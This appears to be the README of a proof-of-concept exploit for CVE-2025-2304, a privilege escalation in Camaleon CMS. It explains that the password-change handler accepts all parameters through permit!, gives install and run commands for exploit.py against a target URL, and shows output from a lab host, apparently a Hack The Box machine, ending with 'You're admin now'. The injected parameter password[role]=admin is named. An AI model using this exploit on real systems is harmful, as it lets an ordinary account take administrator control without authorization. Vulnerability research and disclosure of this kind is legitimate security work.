
PoC for CVE-2025-2304 Privilege Escalation in the Camaleon CMS
Camaleon CMS Vulnerable to Privilege Escalation through a Mass Assignment
A Privilege Escalation through a Mass Assignment exists in Camaleon CMS
When a user wishes to change his password, the 'updated_ajax' method of the UsersController is called. The vulnerability stems from the use of the dangerous permit! method, which allows all parameters to pass through without any filtering.
pip install requests beautifulsoup4
python exploit.py --url http://target.com -u username -p password
--url - Base URL of the vulnerable application-u - Username for authentication-p - Password for authenticationpython exploit.py --url http://facts.htb -u krrish -p krrish
Output:
[*] Logging in as krrish...
[*] Exploiting...
[+] Exploited! You're admin now
password[role]=admin parameterThis tool is for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal.